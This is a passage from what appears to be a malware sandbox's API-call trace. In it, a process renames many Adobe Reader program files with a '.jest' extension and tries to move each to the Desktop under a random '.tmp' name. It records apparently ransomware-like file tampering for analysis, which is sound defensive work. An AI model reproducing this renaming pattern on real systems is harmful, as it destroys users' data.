10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf.jest")) returned 1 [0156.601] GetLastError () returned 0x0 [0156.601] VarBstrFromR4 (in: fltIn=0x47945326, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.3") returned 0x0 [0156.602] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9pymdG9 bPyzMDMfvOLzPgeWNb-DBqcz4BskW8jM5fD2uJyr_iWDWgxaLjT1QjJ-VuQTfey5Hdk7eEPvzw-WW5xWIS46HdaQ0zn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9pymdg9 bpyzmdmfvolzpgewnb-dbqcz4bskw8jm5fd2ujyr_iwdwgxaljt1qjj-vuqtfey5hdk7eepvzw-ww5xwis46hdaq0zn.tmp")) returned 0 [0156.602] GetLastError () returned 0x2 [0156.603] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf.jest")) returned 1 [0156.604] GetLastError () returned 0x0 [0156.604] VarBstrFromR4 (in: fltIn=0x47945326, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.3") returned 0x0 [0156.605] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kZkjAljpQzq7dyenL5JGLgp4jJYHqy3SRlEt9zsOIPgjEeivpwFEbwMmtoiBTuoxJRTH-4yAhmjTTypnIlA3dngPHAdTpFxM05_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kzkjaljpqzq7dyenl5jglgp4jjyhqy3srlet9zsoipgjeeivpwfebwmmtoibtuoxjrth-4yahmjttypnila3dngphadtpfxm05_.tmp")) returned 0 [0156.605] GetLastError () returned 0x2 [0156.606] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf.jest")) returned 1 [0156.607] GetLastError () returned 0x0 [0156.607] VarBstrFromR4 (in: fltIn=0x47945326, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.3") returned 0x0 [0156.608] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QAi8fSgb09k20Uc43qC3GbQNpVVENO9FbMhxi8Ru8kjJKTRHMuWksfPvh2S6OX1wgOPzAJdBdDHDCKeZGvwYjI6IhC0rogly K.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qai8fsgb09k20uc43qc3gbqnpvveno9fbmhxi8ru8kjjktrhmuwksfpvh2s6ox1wgopzajdbddhdckezgvwyji6ihc0rogly k.tmp")) returned 0 [0156.608] GetLastError () returned 0x2 [0156.609] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf.jest")) returned 1 [0156.779] GetLastError () returned 0x0 [0156.779] VarBstrFromR4 (in: fltIn=0x4794533c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.47") returned 0x0 [0156.781] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0sZ4ZDipnBOMuKiyuXs1iDoy8l_gED5uJnXQt3H6DSfc7u0wnBEyEj35gR-zukx-eDLeiZnVzWZvn1550c6RDRV8vGfCZ7iurQNo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0sz4zdipnbomukiyuxs1idoy8l_ged5ujnxqt3h6dsfc7u0wnbeyej35gr-zukx-edleiznvzwzvn1550c6rdrv8vgfcz7iurqno.tmp")) returned 0 [0156.781] GetLastError () returned 0x2 [0156.781] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf.jest")) returned 1 [0156.783] GetLastError () returned 0x0 [0156.783] VarBstrFromR4 (in: fltIn=0x4794533c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.47") returned 0x0 [0156.784] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7kHzMXb8wx58NLHL Dm92NQll7-fg-DTLfp3UL22HXqH8x68Nb AlgxXGgtTkZy7RoR_zg66ZS-LKfFeEpyV1WtH 8Uvs0txvms k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7khzmxb8wx58nlhl dm92nqll7-fg-dtlfp3ul22hxqh8x68nb algxxggttkzy7ror_zg66zs-lkffeepyv1wth 8uvs0txvms k.tmp")) returned 0 [0156.784] GetLastError () returned 0x2 [0156.784] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf.jest")) returned 1 [0156.785] GetLastError () returned 0x0 [0156.786] VarBstrFromR4 (in: fltIn=0x4794533c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.47") returned 0x0 [0156.787] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vgVQMad0fXoooK6alxiJMlX5V7OBQsVT2rhO2nF0wSXdBzuWyUbmSEwPxdSjHDx84sJpk-3kpMyorJ1Zthpw8Djd0ozJQF594Tt3B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vgvqmad0fxoook6alxijmlx5v7obqsvt2rho2nf0wsxdbzuwyubmsewpxdsjhdx84sjpk-3kpmyorj1zthpw8djd0ozjqf594tt3b.tmp")) returned 0 [0156.787] GetLastError () returned 0x2 [0156.787] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf.jest")) returned 1 [0156.788] GetLastError () returned 0x0 [0156.789] VarBstrFromR4 (in: fltIn=0x4794533e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.48") returned 0x0 [0156.790] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\413l2vgw_ BvHT9aHVH8Ger-WRk4S2wMmh2W-4eSiF4CfTgVk CXauYfRXjA565yowxRoT6mFqtt1MD-dwQX3 IPIMp0SZj1d6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\413l2vgw_ bvht9ahvh8ger-wrk4s2wmmh2w-4esif4cftgvk cxauyfrxja565yowxrot6mfqtt1md-dwqx3 ipimp0szj1d6.tmp")) returned 0 [0156.790] GetLastError () returned 0x2 [0156.790] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf.jest")) returned 1 [0156.791] GetLastError () returned 0x0 [0156.792] VarBstrFromR4 (in: fltIn=0x4794533e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.48") returned 0x0 [0156.792] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tZpJxV6-9cTgPs3RXP3VG3AeG2LpBNz7QhqFY0LjMhVVwfxUupPP38vf5S1AVbndKZwgp6PnliHLcU9sXglBUOMqnoDuHAT_fW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tzpjxv6-9ctgps3rxp3vg3aeg2lpbnz7qhqfy0ljmhvvwfxuuppp38vf5s1avbndkzwgp6pnlihlcu9sxglbuomqnoduhat_fw.tmp")) returned 0 [0156.793] GetLastError () returned 0x2 [0156.793] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf.jest")) returned 1 [0156.794] GetLastError () returned 0x0 [0156.794] VarBstrFromR4 (in: fltIn=0x4794533e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.48") returned 0x0 [0156.795] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tJEJ6SZwr2b3VczfZTfK r44B6h8E6PzQnwhITI8lTvAyk6fEKCZ5l eCc z6jSxRB8kplwpZGM0gEn WHdWXU89e8l5Qdmf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tjej6szwr2b3vczfztfk r44b6h8e6pzqnwhiti8ltvayk6fekcz5l ecc z6jsxrb8kplwpzgm0gen whdwxu89e8l5qdmf.tmp")) returned 0 [0156.795] GetLastError () returned 0x2 [0156.796] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm.jest")) returned 1 [0156.861] GetLastError () returned 0x0 [0156.862] VarBstrFromR4 (in: fltIn=0x47945346, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.55") returned 0x0 [0156.864] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rTFNssilo7MlU0FZribLMD5BMxPQTYKQx-tVgBObr7KX47_tFYO5cTDCto7fx2IIvYdvG8grTKbPYTzZZHVom2G5mV-WifIlUgk4X.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rtfnssilo7mlu0fzriblmd5bmxpqtykqx-tvgbobr7kx47_tfyo5ctdcto7fx2iivydvg8grtkbpytzzzhvom2g5mv-wifilugk4x.tmp")) returned 0 [0156.864] GetLastError () returned 0x2 [0156.867] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm.jest")) returned 1 [0156.869] GetLastError () returned 0x0 [0156.869] VarBstrFromR4 (in: fltIn=0x47945348, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.56") returned 0x0 [0156.871] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A2Ulvp0ZX iI9T9rjAxpng2cYgc7pmbW4iSm4xJNhld0MYIJOJBlOC_wtrd4K1YXodct6SZWC8yaNG uiNnwkR19LpG0schqgd_7_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a2ulvp0zx ii9t9rjaxpng2cygc7pmbw4ism4xjnhld0myijojbloc_wtrd4k1yxodct6szwc8yang uinnwkr19lpg0schqgd_7_.tmp")) returned 0 [0156.871] GetLastError () returned 0x2 [0156.874] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf.jest")) returned 1 [0156.886] GetLastError () returned 0x0 [0156.886] VarBstrFromR4 (in: fltIn=0x4794534a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.58") returned 0x0 [0156.889] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-dp hJiu-lfS04y36fBl7exRzb2yFgHqzW40-xzMTIc6Sr2TiTLF58XF 3348iWYa p5yeX3O0YGAj-93W3RV0CXlUStV6ZdD3X7_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-dp hjiu-lfs04y36fbl7exrzb2yfghqzw40-xzmtic6sr2titlf58xf 3348iwya p5yex3o0ygaj-93w3rv0cxlustv6zdd3x7_.tmp")) returned 0 [0156.889] GetLastError () returned 0x2 [0156.893] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf.jest")) returned 1 [0156.894] GetLastError () returned 0x0 [0156.894] VarBstrFromR4 (in: fltIn=0x4794534a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.58") returned 0x0 [0156.897] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pfceo_Gu7JzRRjXfm0SqOqvZReo62rQA_PlEo3HLILPpWbuIlRhPaGOx yFE7ljb6cEoNqpYv3GBLFq3OYdzu3bsPE82fOyiII8Lz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pfceo_gu7jzrrjxfm0sqoqvzreo62rqa_pleo3hlilppwbuilrhpagox yfe7ljb6ceonqpyv3gblfq3oydzu3bspe82foyiii8lz.tmp")) returned 0 [0156.897] GetLastError () returned 0x2 [0156.900] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html.jest")) returned 1 [0156.901] GetLastError () returned 0x0 [0156.901] VarBstrFromR4 (in: fltIn=0x4794534c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.59") returned 0x0 [0156.903] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1itOhPzrq61WKiY-z8wc2lJ8zxFQzXKuczL2IIfu28INBXsioVHk8ICFbY0cTC-szd8KXjLNGX8LI_3INWCwOFW0OwJcVCbqmCgVz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1itohpzrq61wkiy-z8wc2lj8zxfqzxkuczl2iifu28inbxsiovhk8icfby0ctc-szd8kxjlngx8li_3inwcwofw0owjcvcbqmcgvz.tmp")) returned 0 [0156.903] GetLastError () returned 0x2 [0156.905] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html.jest")) returned 1 [0156.907] GetLastError () returned 0x0 [0156.907] VarBstrFromR4 (in: fltIn=0x4794534c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.59") returned 0x0 [0156.908] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKWSLMuxOgOFlvO70nmetCUpqXFMQJVoT62fMpCWsxCtjDsXPPnUvXZnF4715DjIQzRtW kzFsBidZm6HDrbG4reHjjblb2FxLHqj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkwslmuxogoflvo70nmetcupqxfmqjvot62fmpcwsxctjdsxppnuvxznf4715djiqzrtw kzfsbidzm6hdrbg4rehjjblb2fxlhqj.tmp")) returned 0 [0156.908] GetLastError () returned 0x2 [0156.915] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg.jest")) returned 1 [0156.916] GetLastError () returned 0x0 [0156.917] VarBstrFromR4 (in: fltIn=0x4794534e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.61") returned 0x0 [0156.918] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k-tJb8nyWcOYT26QfMp8MTK-8-9AXPZGOHL9-P7EJsrR8p1VH497XN5VC8E1_gZ4HsnP2fjbbWfUBLCNfoHV395xZuXkmXv5rhh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k-tjb8nywcoyt26qfmp8mtk-8-9axpzgohl9-p7ejsrr8p1vh497xn5vc8e1_gz4hsnp2fjbbwfublcnfohv395xzuxkmxv5rhh.tmp")) returned 0 [0156.918] GetLastError () returned 0x2 [0156.961] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt.jest")) returned 1 [0158.488] GetLastError () returned 0x0 [0158.491] VarBstrFromR4 (in: fltIn=0x47945418, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75944.19") returned 0x0 [0158.493] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tM1qOhrFK6v mjnXvualuZ MuRkQYfBfF3QCvVNkjgyGqX6IThj_9XjzBe pVSnJqlwuDtFULPTJ X-X-2yXkSFTx5wHuxt8Dh1B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tm1qohrfk6v mjnxvualuz murkqyfbff3qcvvnkjgygqx6ithj_9xjzbe pvsnjqlwudtfulptj x-x-2yxksftx5whuxt8dh1b.tmp")) returned 0 [0158.493] GetLastError () returned 0x2 [0158.494] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt.jest")) returned 1 [0158.495] GetLastError () returned 0x0 [0158.496] VarBstrFromR4 (in: fltIn=0x47945418, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75944.19") returned 0x0 [0158.497] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ddS0864HnHnkd9 jVVM8CTcJ Zb39RL eLQMZvpLb95UEksoCdnHHgofKZ9Lnrq82EkrN8Cyi6kjlL7oJ5TrSMlFvstM1atqP8Ha.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dds0864hnhnkd9 jvvm8ctcj zb39rl elqmzvplb95ueksocdnhhgofkz9lnrq82ekrn8cyi6kjll7oj5trsmlfvstm1atqp8ha.tmp")) returned 0 [0158.497] GetLastError () returned 0x2 [0158.497] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt.jest")) returned 1 [0158.498] GetLastError () returned 0x0 [0158.499] VarBstrFromR4 (in: fltIn=0x47945418, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75944.19") returned 0x0 [0158.499] MoveFileA 